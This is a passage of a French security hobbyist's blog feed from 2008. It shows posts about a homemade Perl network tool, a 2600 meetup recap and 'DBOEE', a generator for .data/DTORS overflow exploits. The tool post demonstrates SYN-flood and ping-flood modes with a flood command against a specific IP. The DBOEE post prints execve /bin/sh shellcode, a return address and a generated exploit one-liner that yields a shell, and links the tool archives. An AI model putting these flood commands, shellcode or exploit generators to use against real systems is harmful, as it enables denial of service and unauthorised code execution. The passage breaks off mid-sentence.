&lt;a href="http://feedads.g.doubleclick.net/~a/u4UeK6H8dswtmpRBziQoWs8QSR8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/u4UeK6H8dswtmpRBziQoWs8QSR8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/xCFsuHNZpIM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/6119980380471596592/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=6119980380471596592" title="2 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/6119980380471596592?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/6119980380471596592?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/xCFsuHNZpIM/sysinfos-is-powned.html" title="&quot;Sysinfos&quot; is  powned ." /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2009/02/sysinfos-is-powned.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcGQno-eyp7ImA9WxRXFkU.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-2966323214067022939</id><published>2008-10-22T15:47:00.000+02:00</published><updated>2008-10-22T16:33:43.453+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-22T16:33:43.453+02:00</app:edited><title>Quand on ne sais que faire ... on code nawak (et ça se voit :-P  )</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;o/ All ! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon bah tout est dans le titre :&lt;br /&gt;&lt;br /&gt;cette fois - ci ne sachant pas trop sur quoi bosser et , je doit l'avouer ,ayant envie de me remettre au Perl aprés tant de temp passé sur d'autre langages , je me suis mis a coder un petit tool       ( incomplet mais bon c'est juste une "remise a niveau " :-P )  ,  histoire de me replonger dans les méandres de ce magnifique langage qu'est le Perl .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Comme dis ci-dessus , ici rien d'extraordinaire car il  s'agissait surtout d'un "prétexte" pour  revoir  un peu le Perl .&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Cependant , je compte réellement continuer a travaiiler dessus et ce , dans de vrais projets a venir , mais je n'en dirais pas plus .... ;-) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-----------------&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon , ce tool donc   -  (baptisé KM-Net-tool   pour kmkz network tool )   -  permet entre autre de scanner (super original je sais) des ports définis par l'utilisateur sous forme de  "plage"  a scanner  ( Port de départ et d'arrivée)  tout en choisissant aussi  le Time-out et le protocole a utiliser .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Il permet aussi la pratique du SYN flood en forgeant plus ou moins ses paquets :&lt;br /&gt;&lt;br /&gt;ip de départ , ip cible , port cible , taille du paquet  ; ainsi que le classique et peu utile (mais toujours intéréssant ne serait-ce que pour ce qu'on y apprend )    ping flood ,  largement  moins paramétrable (si peu utile...)    :   ip cible et protocole uniquement.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voici une ptite démo de ce code basique mais toutefois bien intéréssant a coder , surtout pour se remettre dans le bain car , je le rappelle , c'est ici mon objectif , rien de plus .&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;-----------------  &lt;span style="color: rgb(204, 204, 204);"&gt;Présentation :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[root@ KM-Net-tool]# perl  KM-Net-tool.pl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Usage KM-Net-tool.pl:      [-f# -S# -p# -l] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-S (Scan)  /host_to_test /   \Time out\   /Port to Start/   \Port to Stop\   /Protocol/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-f (SYN Flood)  /Source-IP/    \Target_IP\   /Target_Port/   \Packet_size\&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-p (Ping Flood)  /Target-IP/   \Protocol\&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-l (GNU Licence)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Contact "kmkz" for more informations.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;    Mail: kmkz[at]live[dot]fr.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;     WebSite: http://kmkz-web-blog.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      Board: www.collective-utopia.no-ip.fr&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;-----------------&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Démo d'un scan (SUID Root utilisé par le module RawIP) :&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;[root@ KM-Net-tool]#  perl  KM-Net-tool.pl -S 213.251.1xx.xxx  1 1 200 tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+]Checking modules....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module IO::Socket::INET : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module Net::Ping : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module Net::RawIP : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module Getopt::Std : OK ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;          ---------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;             ~ PING 213.251.1xx.xxx  .... + Ok!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;             ~ Localtime: Wed Oct 22 16:02:18 2008&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;              [+] Time out : 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;              [+] Starting scan port n° 1  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;              [+] Finish scan port n° 200&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;              [+] Protocol Selected : tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;          ---------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(+) Starting Scan (using Thread) : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   21  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   22  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   25  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   53  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   80  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   110  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [+]  Port   143  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Rien de bien sorcier en soit ...autre exemple : un SYN flood :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[root@ KM-Net-tool]# perl  KM-Net-tool.pl -f 84.56.82.98 213.251.178.117 22 4000 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+]Checking modules....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module IO::Socket::INET : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module Net::Ping : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module Net::RawIP : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      [ Module Getopt::Std : OK ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;          ---------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;+1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 ...... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ou chaque "+1" signifie qu'un paquet a été envoyé a la cible .&lt;br /&gt;&lt;br /&gt;Bon on va stopper la car je pense que vous avez compris comment ce tool trés simple d'usage fonctionne , si ce n'est pas le cas , a vous de consulter l'aide fournie avec .&lt;br /&gt;&lt;br /&gt;A bientot pour de VRAIS projet en Perl ;-)  c'est promis  !&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;      &lt;-------------------------  &gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/tools/KM-Net-tool.tar"&gt;Archive du projet KM-Net-tool&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;      &lt;-------------------------&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-2966323214067022939?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Th8X_XY65g743VKXZBaVH7AMTak/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Th8X_XY65g743VKXZBaVH7AMTak/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Th8X_XY65g743VKXZBaVH7AMTak/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Th8X_XY65g743VKXZBaVH7AMTak/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/Ua3Us7e6qTs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/2966323214067022939/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=2966323214067022939" title="5 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2966323214067022939?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/2966323214067022939?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/Ua3Us7e6qTs/quand-on-ne-sais-que-faire-on-code.html" title="Quand on ne sais que faire ... on code nawak (et ça se voit :-P  )" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>5</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/10/quand-on-ne-sais-que-faire-on-code.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUEHQXw5fyp7ImA9WxRTGEU.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-3298858070203933087</id><published>2008-09-08T17:18:00.000+02:00</published><updated>2008-09-08T17:27:10.227+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-08T17:27:10.227+02:00</app:edited><title>Résumer du premier 2600 Nîmois</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous ! &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Et bien voila , le premier meet' a bien eu lieu sur Nîmes .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le résumé ce trouve dispo sur le forum 2600fr.org a cette adresse : &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.2600fr.org/forum/viewtopic.php?id=154"&gt;résumer 2600 Nîmes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ce qu'on peu en dire en 2 mots  c'est que ce fut un agréable moment intéréssant et riche en partage .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Nous nous sommes posé dans le "Cyber-Restaurant " le  " Net m'Eating "  , ou nous avons pu bidouiller un peu le tout en étant bien confortablement installé ( voir résumé pour plus d'infos).&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.restaurant-netmeating.com/"&gt;net m' eating&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;J'espere tout de meme y voir un peu plus de monde dans les mois a venir  mais chaque choses en son temp .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Si certain sont intéréssés , n'hésitez pas a me contacter pour avoir plus d'infos .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;merci a tous .&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-3298858070203933087?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/raf2YYTYwkmKTf9C_wyDrKE4SAA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/raf2YYTYwkmKTf9C_wyDrKE4SAA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/raf2YYTYwkmKTf9C_wyDrKE4SAA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/raf2YYTYwkmKTf9C_wyDrKE4SAA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/O5cj7Xxpk84" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/3298858070203933087/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=3298858070203933087" title="2 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/3298858070203933087?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/3298858070203933087?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/O5cj7Xxpk84/rsumer-du-premier-2600-nmois.html" title="Résumer du premier 2600 Nîmois" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/09/rsumer-du-premier-2600-nmois.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEDRHg6cSp7ImA9WxRTE00.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-6918703503783947667</id><published>2008-08-23T18:43:00.000+02:00</published><updated>2008-09-01T22:24:35.619+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-01T22:24:35.619+02:00</app:edited><title>.Data Overflow et utilisation de "DBOEE" pour générer l'exploit approprié et exploiter</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous et a toutes .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Mais en quoi cela consiste -il ?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;En fait , ce billet sera ici un  complément du précédent concernant les .Data Overflows .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c  ( pas trés utile en soit) .&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Place au test :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;----------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   - Data-Based-Overflow Easy Exploitation  -     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;----------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+]Programm :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-Devellopped by kmkz(c)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-Compilation :gcc -o DBOEE DBOEE.c &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; [+]Author's informations :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; kmkz's web sites -&gt; http://kmkz-web-blog.blogspot.com &amp;amp; www.collective-utopia.no-ip.fr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+]This programm has been coded for makes easier the Data based Overflow exploitation.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; You just have to give a shellcode(reached) , numbers of Bytes and the target name .      DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------****************---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------STARTING PROGRAM---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[*] Enter  Adress Return :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 204);"&gt;    "\x60\x95\x04\x08"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[*] Enter your shellcode :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 204);"&gt;    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x&lt;br /&gt;cd\x80"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------Starting Exploitation---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[~]Program Running......&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; [~] check on the ongoing shellcode...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;- Shellcode maximum Size  : 1000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;- Shellcode character -&gt; 73  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;- Shellcode size (octets)  -&gt; 18  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------Shellcode Created---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[*] enter the number of 'A' (octets)  necessary for Overflow exploitation :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 204);"&gt; 272&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------Shellcode Created---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[~]Generating Payload....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(+)[Your Payload is] --&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;                       272 x 'A' [your shellcode] &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(+) subtraction of the  shellcode bytes ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;       [*] Payload generated is :   printf 254 x 'A' [shellcode]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------Payload Created---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; [~]  Give  me a target       (example-&gt; ./vuln)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 204);"&gt;./vuvu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;-Target programm is -&gt; ./vuvu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  ---------------------------Generating Exploit File---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[#] Creating Exploit File ....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[#]Exploit.txt : success ! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[+] Sending payload...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      ------------ Result ------------ &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sh-3.2$   &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;                                                -Contenu du Fichier Exploit.txt -&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x&lt;br /&gt;cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"&lt;/span&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-----&lt;/span&gt;&lt;br /&gt;&lt;a href="http://membres.lycos.fr/profil4/tools/DBOEE-project.tar.gz"&gt;Archive du projet DBOEE&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-----&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation 